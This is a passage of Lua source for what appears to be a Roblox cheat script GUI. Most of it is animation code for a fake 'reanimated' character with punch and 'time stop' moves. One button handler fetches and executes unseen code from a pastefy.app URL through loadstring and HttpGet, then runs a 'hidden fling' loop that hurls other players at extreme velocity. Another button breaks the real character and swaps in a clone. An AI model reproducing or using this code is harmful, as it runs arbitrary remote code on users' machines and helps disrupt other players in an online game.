0.934412897) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-0.6665681, -1.92173398, -0.343467057, 0.962250233, 0.0613082647, 0.265171379, -0.0410595685, 0.99584806, -0.0812460929, -0.269051433, 0.0672912449, 0.960772276) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), }, .3, false) end local DORA = CFuncs.Sound.Create("601465752", Torso, 1, 1) Instance.new("DistortionSoundEffect", DORA).Level = .95 DORA.Looped = true local Con1 = HitboxL.Touched:connect(function(hit) Damage(HitboxL, hit, 1, 5, 0, "Normal", RootPart, 0, "260430117", 1) end) local Con2 = HitboxR.Touched:connect(function(hit) Damage(HitboxR, hit, 1, 5, 0, "Normal", RootPart, 0, "260430117", 1) end) while DORARA == true do RootPart.Velocity = RootPart.CFrame.lookVector * 5 for i = 0, 1, 0.7 do swait() Effects.Elect.Create(HitboxL.CFrame, 4, 4, 4) Effects.Sphere.Create(BrickColor.new("New Yeller"), HitboxL.CFrame, .5, .5, .5, 1.5, 1.5, 1.5, .15) PlayAnimationFromTable({ CFrame.new(-0.0223142356, -0.107780628, -0.249816686, 0.906307876, 0.0733869597, -0.416197479, 0, 0.98480773, 0.173648462, 0.422617942, -0.157378972, 0.892539084) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-2.22850417e-007, 1.49999118, 1.16660271e-006, 0.906307936, 1.49011612e-008, 0.422617972, -7.27595761e-009, 1, 0, -0.422618032, 0, 0.906308055) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(1.5318948, 0.588474631, 0.207054406, 0.899958313, 0.340718478, 0.272003621, 0.314965397, -0.0767233223, -0.945997, -0.301449746, 0.9370296, -0.176362336) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-1.27977741, 0.723447502, -1.20010054, 0.726744413, 0.46058476, -0.509611845, -0.503104627, -0.148215696, -0.851421177, -0.46768418, 0.875153661, 0.124007396) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(0.636807501, -1.93472636, -0.370165735, 0.868198872, -0.0517790169, 0.493507534, 0.075819321, 0.996705353, -0.0288097262, -0.490389913, 0.0624299645, 0.869264364) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-0.666569352, -1.92173386, -0.343467534, 0.86083132, 0.0613082871, 0.505183935, -0.018632248, 0.995848, -0.0891051888, -0.508549333, 0.0672918186, 0.858399451) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), }, .9, false) end CFuncs.Sound.Create("200632136", HitboxL, 1, 1) Effects.Sphere.Create(BrickColor.new("New Yeller"), HitboxL.CFrame, .5, .5, .5, 2, 2, 2, .15) RootPart.Velocity = RootPart.CFrame.lookVector * 5 for i = 0, 1, 0.7 do swait() Effects.Sphere.Create(BrickColor.new("New Yeller"), HitboxR.CFrame, .5, .5, .5, 1.5, 1.5, 1.5, .2) PlayAnimationFromTable({ CFrame.new(0.0767437443, -0.107780531, -0.279432267, 0.866025388, -0.0868241936, 0.492404073, 0, 0.98480773, 0.173648342, -0.500000238, -0.150383845, 0.852868438) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-2.61076184e-006, 1.4999913, -6.19508683e-007, 0.866025209, 2.98023224e-007, -0.500000656, -2.56928615e-007, 1, 1.1920929e-007, 0.500000596, 2.98023224e-008, 0.866025209) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(1.40606534, 0.812639356, -1.14933658, 0.82139349, -0.422619373, 0.383021921, 0.349686205, -0.157378837, -0.923553765, 0.450591207, 0.892538428, 0.0185142085) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-1.64197171, 0.599264741, 0.212680459, 0.807513177, -0.456930667, -0.373010725, -0.413006425, 0.0134942085, -0.9106282, 0.421127379, 0.889400065, -0.177818552) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(0.636808515, -1.93472552, -0.37016958, 0.814187765, -0.0517790765, -0.578288436, 0.00593282748, 0.996705353, -0.0808905214, 0.580571651, 0.0624291934, 0.811812401) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-0.666569233, -1.92173398, -0.343468547, 0.867917657, 0.0613080971, -0.492910266, -0.0864830092, 0.99584806, -0.0284160972, 0.489121556, 0.0672912076, 0.869616032) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), }, .9, false) end CFuncs.Sound.Create("200632136", HitboxR, 1, 1) Effects.Sphere.Create(BrickColor.new("New Yeller"), HitboxR.CFrame, .5, .5, .5, 2, 2, 2, .2) end Con1:disconnect() Con2:disconnect() DORA:Stop() attack = false end local stoppedParts = {} function getAllParts() local rtn = {} local function recurse(object) for q,e in next, object:children() do if e:isA'BasePart' and e.Name ~= "HumanoidRootPart" then table.insert(rtn, e) end recurse(e) end end recurse(workspace) return rtn end function stopParts(distance) stoppedParts = {} for nada, part in next, getAllParts() do local dist = (Torso.Position-part.Position).magnitude if dist <= distance and part.Name ~='Base' and part.Name ~= 'Baseplate' and not part:isDescendantOf(Torso.Parent) and part.Anchored ~= true then table.insert(stoppedParts, part) if part.Name ~= "Torso" and part.Anchored ~= true then part.Anchored = true end end end end function freeParts() for q,e in next, stoppedParts do stoppedParts[q] = nil e.Anchored = false end end local effect = Instance.new('ColorCorrectionEffect') function TheWorld(Mode) if Mode == "Time Start" then Effects.Sphere.Create(BrickColor.new("New Yeller"), HitboxL.CFrame, .5, .5, .5, 1.5, 1.5, 1.5, .15) for i = 1,50 do if effect.Saturation <= 0 then effect.Saturation = effect.Saturation + i/50 end swait(1/30) end freeParts() effect.Saturation = 0 effect.Contrast = 0 effect.Parent = nil workspace.Gravity = 196.2 end if Mode == "Quick Stop" then CFuncs.Sound.Create("468760371", workspace, 1, 1) swait(60) Effects.Sphere.Create(BrickColor.new("Institutional white"), RootPart.CFrame, 1, 1, 1, 50, 50, 50, .01) effect.Parent = game.Lighting for i = 1,50 do effect.Saturation = -(i/10) swait() end stopParts(5555) end end Mouse.Button1Down:connect(function() if attack == false and DORARA == false then DORARA = true ORA() end end) Mouse.Button1Up:connect(function() if attack == true and DORARA == true then DORARA = false end end) Mouse.KeyDown:connect(function(k) k = k:lower() if attack == false and k == 'g' and TimeStop == false then TimeStop = true TheWorld("Quick Stop") elseif attack == false and k == 'g' and TimeStop == true then TimeStop = false TheWorld("Time Start") end end) while true do swait() sref.CFrame = RightArm.CFrame * CFrame.new(0, -1.5, 0) * CFrame.fromEulerAnglesXYZ(-1.57, 0, 0) for i, v in pairs(Character:GetChildren()) do if v:IsA("Part") then v.Material = "SmoothPlastic" elseif v:IsA("Accessory") then v:WaitForChild("Handle").Material = "SmoothPlastic" end end Torsovelocity = (RootPart.Velocity * Vector3.new(1, 0, 1)).magnitude velocity = RootPart.Velocity.y sine = sine + change local hit, pos = rayCast(RootPart.Position, (CFrame.new(RootPart.Position, RootPart.Position - Vector3.new(0, 1, 0))).lookVector, 4, Character) if RootPart.Velocity.y > 1 and hit == nil then Anim = "Jump" if attack == false then PlayAnimationFromTable({ CFrame.new(0, 0.0486936681, -0.0429394133, 1, 0, -0, 0, 0.996194661, -0.087155968, 0, 0.087155968, 0.996194661) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(0, 1.48698187, -0.0992434025, 1, 0, 0, 0, 0.98480767, 0.173648626, -0, -0.173648626, 0.98480767) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(1.66118193, 0.583681226, 0.430878729, 0.556951106, -0.772693694, -0.30454877, 0.830109596, 0.506009281, 0.234249175, -0.026898358, -0.383274168, 0.923242927) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-1.65963519, 0.695907593, 0.339572817, 0.482961893, 0.810776234, 0.330741376, -0.866026103, 0.498096228, 0.0435779653, -0.129409045, -0.307477146, 0.94271481) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(0.499997795, -1.71809137, -0.102601528, 0.984807849, 3.55863392e-007, -0.173647791, 0.0593907312, 0.939692557, 0.336824298, 0.163175657, -0.342020214, 0.925416589) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-0.599241376, -1.29528463, -0.396836221, 0.992403984, 0.086823605, 0.0871558413, -0.118890785, 0.858931601, 0.498097867, -0.0316142589, -0.504676282, 0.862729669) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), }, .3, false) end elseif RootPart.Velocity.y < -1 and hit == nil then Anim = "Fall" if attack == false then PlayAnimationFromTable({ CFrame.new(-0, -0.0520263538, -0.0354017057, 1, 0, 0, 0, 0.965925872, 0.258818984, 0, -0.258818984, 0.965925872) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(0, 1.51533091, -0.10684365, 1, 0, 0, 0, 0.965925872, 0.258819342, 0, -0.258819342, 0.965925872) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(1.67554009, 0.885679007, 0.385592818, 0.374123871, -0.696466088, -0.61234498, 0.914592147, 0.386364758, 0.119345918, 0.153468132, -0.604696095, 0.781530797) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-1.67474985, 0.999329269, 0.296636045, 0.250219911, 0.753912985, 0.607457995, -0.927206695, 0.367205799, -0.0738086402, -0.278707415, -0.544770718, 0.79091537) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(0.504494727, -1.81757987, -0.0935191363, 0.984807849, -0.0449431092, -0.167730823, 0.059390761, 0.99484998, 0.0821366012, 0.163175508, -0.0908504426, 0.982405365) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-0.623603821, -1.49203336, -0.421764404, 0.992403865, 0.122534379, 0.0109562073, -0.118891656, 0.978150725, -0.17054674, -0.0316146575, 0.167948633, 0.985288799) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), }, .3, false) end elseif Torsovelocity < 1 and hit ~= nil then Anim = "Idle" if attack == false then change = 1 PlayAnimationFromTable({ CFrame.new(-0.0254490171, -0.100000001, -0.0245252885, 0.965925872, 0, 0.258818984, 0, 1, 0, -0.258818984, 0, 0.965925872) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-5.58793545e-008, 1.49999201, 2.23517418e-007, 0.965925872, 0.02255762, -0.257834077, 0, 0.996194661, 0.087155968, 0.258818984, -0.0841862038, 0.962250173) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(1.18608475, 0.561332762, -0.668662548, 0.815707564, 0.397307515, 0.420437992, 0.567439079, -0.408345699, -0.71502924, -0.112402454, 0.821827531, -0.558538496) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-1.18486226, 0.664583206, -0.703545451, 0.801997423, -0.384815574, -0.456855893, -0.595755875, -0.459863067, -0.658483863, 0.0433037281, 0.800276875, -0.598065078) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(0.602607846, -1.89999723, -0.281901717, 0.938264608, -0.0318391919, -0.344450235, 0.0551190265, 0.996793628, 0.0580029301, 0.341499031, -0.0734078437, 0.937011182) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-0.68740654, -1.99010217, 0.313043743, 0.998308659, 0.0566585623, -0.0130319893, -0.0526040196, 0.975744903, 0.212496698, 0.0247556716, -0.211451754, 0.977074862) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), }, .3, false) end elseif Torsovelocity > 2 and hit ~= nil then Anim = "Walk" if attack == false then change = 2 PlayAnimationFromTable({ CFrame.new(-0, -0.331043243, -0.246173918, 1, 0, 0, 0, 0.906307876, 0.422617942, 0, -0.422617942, 0.906307876) * CFrame.new(0, .1, 0) * CFrame.Angles(0, math.rad(-5 * math.cos(sine / 7)), 0), CFrame.new(0, 1.4999913, 6.55651093e-007, 1, 0, 0, 0, 0.965925813, -0.258818924, 0, 0.258818924, 0.965925813) * CFrame.new(0, 0, 0) * CFrame.Angles(0, math.rad(5 * math.cos(sine / 7)), 0), CFrame.new(1.14562762, 0.526349247, -0.591056466, 0.825674891, 0.469375819, 0.312965363, 0.547643542, -0.533675969, -0.644419432, -0.135452792, 0.703474402, -0.697693527) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-1.14244175, 0.534408689, -0.582344949, 0.825674295, -0.469376504, -0.312966168, -0.547644734, -0.533675849, -0.644418597, 0.13545242, 0.703474045, -0.697693944) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(.5, -1.64 - 0.5 * math.cos(sine / 8) / 2, 0 + 2 * math.sin(sine / 8) / 2) * CFrame.Angles(math.rad(-70 * math.sin(sine / 8)), math.rad(-3), math.rad(0)), CFrame.new(-.5, -1.64 + 0.5 * math.cos(sine / 8) / 2, 0 - 2 * math.sin(sine / 8) / 2) * CFrame.Angles(math.rad(70 * math.sin(sine / 8)), math.rad(3), math.rad(0)), }, .3, false) end end if 0 < #Effects then for e = 1, #Effects do if Effects[e] ~= nil then local Thing = Effects[e] if Thing ~= nil then local Part = Thing[1] local Mode = Thing[2] local Delay = Thing[3] local IncX = Thing[4] local IncY = Thing[5] local IncZ = Thing[6] if Thing[2] == "Shoot" then local Look = Thing[1] local move = 5 local hit, pos = rayCast(Thing[4], Thing[1], move, Character) if Thing[10] ~= nil then da = pos cf2 = CFrame.new(Thing[4], Thing[10].Position) cfa = CFrame.new(Thing[4], pos) tehCF = cfa:lerp(cf2, 0.2) Thing[1] = tehCF.lookVector end local mag = (Thing[4] - pos).magnitude Effects.Elect.Create(CFrame.new((Thing[4] + pos) / 2, pos), 4, 4, 4) Effects.Sphere.Create(BrickColor.new("New Yeller"), CFrame.new((Thing[4] + pos) / 2, pos) * CFrame.Angles(1.57, 0, 0), 3, 3, 3, 5, 5, 5, 0.15) Thing[4] = Thing[4] + Look * move Thing[3] = Thing[3] - 1 if 2 < Thing[5] then Thing[5] = Thing[5] - 0.3 Thing[6] = Thing[6] - 0.3 end if hit ~= nil then Thing[3] = 0 MagnitudeDamage(hit, 5, 10, 15, 0, "Normal", "161006093", 0.8) ref = CFuncs.Part.Create(workspace, "Neon", 0, 1, BrickColor.new("Really red"), "Reference", Vector3.new()) ref.Anchored = true ref.CFrame = CFrame.new(pos) Effects.Block.Create(BrickColor.new("New Yeller"), CFrame.new(pos), 1, 1, 1, 2, 2, 2, .05) Effects.Sphere.Create(BrickColor.new("New Yeller"), CFrame.new(pos), 5, 5, 5, 1, 1, 1, 0.03) game:GetService("Debris"):AddItem(ref, 1) end if Thing[3] <= 0 then table.remove(Effects, e) end end do do if Thing[2] == "FireWave" then if Thing[3] <= Thing[4] then Thing[1].CFrame = Thing[1].CFrame * CFrame.fromEulerAnglesXYZ(0, 1, 0) Thing[3] = Thing[3] + 1 Thing[6].Scale = Thing[6].Scale + Vector3.new(Thing[5], 0, Thing[5]) else Part.Parent = nil table.remove(Effects, e) end end if Thing[2] ~= "Shoot" and Thing[2] ~= "Wave" and Thing[2] ~= "FireWave" then if Thing[1].Transparency <= 1 then if Thing[2] == "Block1" then Thing[1].CFrame = Thing[1].CFrame * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) Mesh = Thing[7] Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6]) Thing[1].Transparency = Thing[1].Transparency + Thing[3] else if Thing[2] == "Block2" then Thing[1].CFrame = Thing[1].CFrame Mesh = Thing[7] Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6]) Thing[1].Transparency = Thing[1].Transparency + Thing[3] else if Thing[2] == "Fire" then Thing[1].CFrame = CFrame.new(Thing[1].Position) + Vector3.new(0, 0.2, 0) Thing[1].CFrame = Thing[1].CFrame * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) Thing[1].Transparency = Thing[1].Transparency + Thing[3] else if Thing[2] == "Cylinder" then Mesh = Thing[7] Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6]) Thing[1].Transparency = Thing[1].Transparency + Thing[3] else if Thing[2] == "Blood" then Mesh = Thing[7] Thing[1].CFrame = Thing[1].CFrame * CFrame.new(0, 0.5, 0) Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6]) Thing[1].Transparency = Thing[1].Transparency + Thing[3] else if Thing[2] == "Elec" then Thing[1].Size = Thing[1].Size + Vector3.new(Thing[7], Thing[8], Thing[9]) Thing[1].Transparency = Thing[1].Transparency + Thing[3] else if Thing[2] == "Disappear" then Thing[1].Transparency = Thing[1].Transparency + Thing[3] end end end end end end end else Part.Parent = nil table.remove(Effects, e) end end end end end end end end end end)() local Connection Connection = game.Workspace.DescendantAdded:Connect(function(c) if c.Name == "Animate" and c.Parent == Player.Character then c.Enabled = false Connection:Disconnect() end end) repeat task.wait() until game.Players.LocalPlayer.Character task.wait(0.1) local RealChar = Player.Character RealChar.Archivable = true FakeCharacter.Name = Player.Name .. "_Fake" FakeCharacter.Parent = workspace task.spawn(function() for i, LS in ipairs(FakeCharacter:GetChildren()) do if LS:IsA("LocalScript") then LS.Enabled = false task.wait(0.1) LS.Enabled = false end end end) for i, Part in ipairs(FakeCharacter:GetDescendants()) do if Part:IsA("BasePart")then Part.Transparency = fake_transparency end end for i, Decal in ipairs(FakeCharacter:GetDescendants()) do if Decal:IsA("Decal")then Decal.Transparency = fake_transparency end end Player.Character = FakeCharacter local function MotorAngle() if RealChar:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName) then RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName).CurrentAngle = Motor6DAngle end end end end local function SetAngles() if FakeCharacter:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) then local Motor = FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) local rx, ry, rz = Motor.Part1.CFrame:ToObjectSpace(FakeCharacter:FindFirstChild("Torso").CFrame):ToOrientation() --Motors[MotorName] = rx if Motor.Name == "Right Shoulder" then Motors[MotorName] = -rx end if Motor.Name == "Left Shoulder" then Motors[MotorName] = rx end if Motor.Name == "Right Hip" then Motors[MotorName] = -rx end if Motor.Name == "Left Hip" then Motors[MotorName] = rx end if Motor.Name == "Neck" then Motors[MotorName] = -ry end end end end end local function BaseCol() for i, Part in ipairs(RealChar:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end for i, Part in ipairs(FakeCharacter:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end end RunService.Heartbeat:Connect(function() SetAngles() MotorAngle() RealChar.HumanoidRootPart.CFrame = FakeCharacter.Torso.CFrame end) RunService.PreSimulation:Connect(function() BaseCol() end) LoadAllAnimations() end) end; task.spawn(C_57); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_59() local script = G2L["59"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://pastefy.app/YsJgITXR/raw"))() if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then hiddenfling = true else hiddenfling = true detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = game:GetService("ReplicatedStorage") local function fling() local hrp, c, vel, movel = nil, nil, nil, 0.1 while true do game:GetService("RunService").Heartbeat:Wait() if hiddenfling then local lp = game.Players.LocalPlayer while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do game:GetService("RunService").Heartbeat:Wait() c = lp.Character hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso") end if hiddenfling then vel = hrp.Velocity hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0) game:GetService("RunService").RenderStepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel end game:GetService("RunService").Stepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel + Vector3.new(0, movel, 0) movel = movel * -1 end end end end end fling() end end) end; task.spawn(C_59); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_5b() local script = G2L["5b"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() -- keybinds -- z -- b -- c -- v -- e (disabled) -- x -- t local fake_transparency = 0.8 local Motors = { ["Left Hip"] = 0, ["Neck"] = 0, ["Left Shoulder"] = 0, ["Right Hip"] = 0, ["Right Shoulder"] = 0 } local Players = game:GetService("Players") local Player = Players.LocalPlayer local RunService = game:GetService("RunService") game.Players.LocalPlayer.Character.Archivable = true local FakeCharacter = game.Players.LocalPlayer.Character:Clone() Player.Character:BreakJoints() Player.Character=nil coroutine.wrap(function() Player = game:GetService("Players").LocalPlayer PlayerGui = Player.PlayerGui Cam = workspace.CurrentCamera Backpack = Player.Backpack Character = FakeCharacter Humanoid = Character.Humanoid Mouse = Player:GetMouse() RootPart = Character["HumanoidRootPart"] Torso = Character["Torso"] Head = Character["Head"] RightArm = Character["Right Arm"] LeftArm = Character["Left Arm"] RightLeg = Character["Right Leg"] LeftLeg = Character["Left Leg"] RootJoint = RootPart["RootJoint"] Neck = Torso["Neck"] RightShoulder = Torso["Right Shoulder"] LeftShoulder = Torso["Left Shoulder"] RightHip = Torso["Right Hip"] LeftHip = Torso["Left Hip"] IT = Instance.new CF = CFrame.new VT = Vector3.new RAD = math.rad C3 = Color3.new UD2 = UDim2.new BRICKC = BrickColor.new ANGLES = CFrame.Angles EULER = CFrame.fromEulerAnglesXYZ COS = math.cos ACOS = math.acos SIN = math.sin ASIN = math.asin ABS = math.abs MRANDOM = math.random FLOOR = math.floor --//=================================\\ --|| USEFUL VALUES --\\=================================// Animation_Speed = 3 Frame_Speed = 1 / 60 -- (1 / 30) OR (1 / 60) local Speed = 16 local ROOTC0 = CF(0, 0, 0) * ANGLES(RAD(-90), RAD(0), RAD(180)) local NECKC0 = CF(0, 1, 0) * ANGLES(RAD(-90), RAD(0), RAD(180)) local RIGHTSHOULDERC0 = CF(-0.5, 0, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) local LEFTSHOULDERC0 = CF(0.5, 0, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) local DAMAGEMULTIPLIER = 0 local ANIM = "Idle" local ATTACK = false local EQUIPPED = false local HOLD = false local COMBO = 1 local Rooted = false local SINE = 0 local KEYHOLD = false local CHANGE = 2 / Animation_Speed local WALKINGANIM = false local VALUE1 = false local VALUE2 = false local ROBLOXIDLEANIMATION = IT("Animation") ROBLOXIDLEANIMATION.Name = "Roblox Idle Animation" ROBLOXIDLEANIMATION.AnimationId = "http://www.roblox.com/asset/?id=180435571" --ROBLOXIDLEANIMATION.Parent = Humanoid local WEAPONGUI = IT("ScreenGui", PlayerGui) WEAPONGUI.Name = "Weapon GUI" local Weapon = IT("Model") Weapon.Name = "Adds" local Effects = IT("Folder", Weapon) Effects.Name = "Effects" local ANIMATOR = Humanoid.Animator local ANIMATE = Character.Animate local UNANCHOR = true --//=================================\\ --\\=================================// --//=================================\\ --|| SAZERENOS' ARTIFICIAL HEARTBEAT --\\=================================// frame = Frame_Speed tf = 0 allowframeloss = false tossremainder = false lastframe = tick() game:GetService("RunService").Heartbeat:connect(function(s, p) tf = tf + s if tf >= frame then if allowframeloss then lastframe = tick() end if tossremainder then tf = 0 else tf = tf - frame * math.floor(tf / frame) end end end) --//=================================\\ --\\=================================// --//=================================\\ --|| SOME FUNCTIONS --\\=================================// function Raycast(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS) return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS) end function PositiveAngle(NUMBER) if NUMBER >= 0 then NUMBER = 0 end return NUMBER end function NegativeAngle(NUMBER) if NUMBER <= 0 then NUMBER = 0 end return NUMBER end function Swait(NUMBER) if NUMBER == 0 or NUMBER == nil then game:GetService("RunService").Heartbeat:Wait() else for i = 1, NUMBER do game:GetService("RunService").Heartbeat:Wait() end end end function CreateMesh(MESH, PARENT, MESHTYPE, MESHID, TEXTUREID, SCALE, OFFSET) local NEWMESH = IT(MESH) if MESH == "SpecialMesh" then NEWMESH.MeshType = MESHTYPE if MESHID ~= "nil" and MESHID ~= "" then NEWMESH.MeshId = "http://www.roblox.com/asset/?id="..MESHID end if TEXTUREID ~= "nil" and TEXTUREID ~= "" then NEWMESH.TextureId = "http://www.roblox.com/asset/?id="..TEXTUREID end end NEWMESH.Offset = OFFSET or VT(0, 0, 0) NEWMESH.Scale = SCALE NEWMESH.Parent = PARENT return NEWMESH end function CreatePart(FORMFACTOR, PARENT, MATERIAL, REFLECTANCE, TRANSPARENCY, BRICKCOLOR, NAME, SIZE, ANCHOR) local NEWPART = IT("Part") NEWPART.formFactor = FORMFACTOR NEWPART.Reflectance = REFLECTANCE NEWPART.Transparency = TRANSPARENCY NEWPART.CanCollide = false NEWPART.Locked = true NEWPART.Anchored = true if ANCHOR == false then NEWPART.Anchored = false end NEWPART.BrickColor = BRICKC(tostring(BRICKCOLOR)) NEWPART.Name = NAME NEWPART.Size = SIZE NEWPART.Position = Torso.Position NEWPART.Material = MATERIAL NEWPART:BreakJoints() NEWPART.Parent = PARENT return NEWPART end local function weldBetween(a, b) local weldd = Instance.new("ManualWeld") weldd.Part0 = a weldd.Part1 = b weldd.C0 = CFrame.new() weldd.C1 = b.CFrame:inverse() * a.CFrame weldd.Parent = a return weldd end function QuaternionFromCFrame(cf) local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() local trace = m00 + m11 + m22 if trace > 0 then local s = math.sqrt(1 + trace) local recip = 0.5 / s return (m21 - m12) * recip, (m02 - m20) * recip, (m10 - m01) * recip, s * 0.5 else local i = 0 if m11 > m00 then i = 1 end if m22 > (i == 0 and m00 or m11) then i = 2 end if i == 0 then local s = math.sqrt(m00 - m11 - m22 + 1) local recip = 0.5 / s return 0.5 * s, (m10 + m01) * recip, (m20 + m02) * recip, (m21 - m12) * recip elseif i == 1 then local s = math.sqrt(m11 - m22 - m00 + 1) local recip = 0.5 / s return (m01 + m10) * recip, 0.5 * s, (m21 + m12) * recip, (m02 - m20) * recip elseif i == 2 then local s = math.sqrt(m22 - m00 - m11 + 1) local recip = 0.5 / s return (m02 + m20) * recip, (m12 + m21) * recip, 0.5 * s, (m10 - m01) * recip end end end function QuaternionToCFrame(px, py, pz, x, y, z, w) local xs, ys, zs = x + x, y + y, z + z local wx, wy, wz = w * xs, w * ys, w * zs local xx = x * xs local xy = x * ys local xz = x * zs local yy = y * ys local yz = y * zs local zz = z * zs return CFrame.new(px, py, pz, 1 - (yy + zz), xy - wz, xz + wy, xy + wz, 1 - (xx + zz), yz - wx, xz - wy, yz + wx, 1 - (xx + yy)) end function QuaternionSlerp(a, b, t) local cosTheta = a[1] * b[1] + a[2] * b[2] + a[3] * b[3] + a[4] * b[4] local startInterp, finishInterp; if cosTheta >= 0.0001 then if (1 - cosTheta) > 0.0001 then local theta = ACOS(cosTheta) local invSinTheta = 1 / SIN(theta) startInterp = SIN((1 - t) * theta) * invSinTheta finishInterp = SIN(t * theta) * invSinTheta else startInterp = 1 - t finishInterp = t end else if (1 + cosTheta) > 0.0001 then local theta = ACOS(-cosTheta) local invSinTheta = 1 / SIN(theta) startInterp = SIN((t - 1) * theta) * invSinTheta finishInterp = SIN(t * theta) * invSinTheta else startInterp = t - 1 finishInterp = t end end return a[1] * startInterp + b[1] * finishInterp, a[2] * startInterp + b[2] * finishInterp, a[3] * startInterp + b[3] * finishInterp, a[4] * startInterp + b[4] * finishInterp end function Clerp(a, b, t) local qa = {QuaternionFromCFrame(a)} local qb = {QuaternionFromCFrame(b)} local ax, ay, az = a.x, a.y, a.z local bx, by, bz = b.x, b.y, b.z local _t = 1 - t return QuaternionToCFrame(_t * ax + t * bx, _t * ay + t * by, _t * az + t * bz, QuaternionSlerp(qa, qb, t)) end function CreateFrame(PARENT, TRANSPARENCY, BORDERSIZEPIXEL, POSITION, SIZE, COLOR, BORDERCOLOR, NAME) local frame = IT("Frame") frame.BackgroundTransparency = TRANSPARENCY frame.BorderSizePixel = BORDERSIZEPIXEL frame.Position = POSITION frame.Size = SIZE frame.BackgroundColor3 = COLOR frame.BorderColor3 = BORDERCOLOR frame.Name = NAME frame.Parent = PARENT return frame end function CreateLabel(PARENT, TEXT, TEXTCOLOR, TEXTFONTSIZE, TEXTFONT, TRANSPARENCY, BORDERSIZEPIXEL, STROKETRANSPARENCY, NAME) local label = IT("TextLabel") label.BackgroundTransparency = 1 label.Size = UD2(1, 0, 1, 0) label.Position = UD2(0, 0, 0, 0) label.TextColor3 = TEXTCOLOR label.TextStrokeTransparency = STROKETRANSPARENCY label.TextTransparency = TRANSPARENCY label.FontSize = TEXTFONTSIZE label.Font = TEXTFONT label.BorderSizePixel = BORDERSIZEPIXEL label.TextScaled = false label.Text = TEXT label.Name = NAME label.Parent = PARENT return label end function NoOutlines(PART) PART.TopSurface, PART.BottomSurface, PART.LeftSurface, PART.RightSurface, PART.FrontSurface, PART.BackSurface = 10, 10, 10, 10, 10, 10 end function CreateWeldOrSnapOrMotor(TYPE, PARENT, PART0, PART1, C0, C1) local 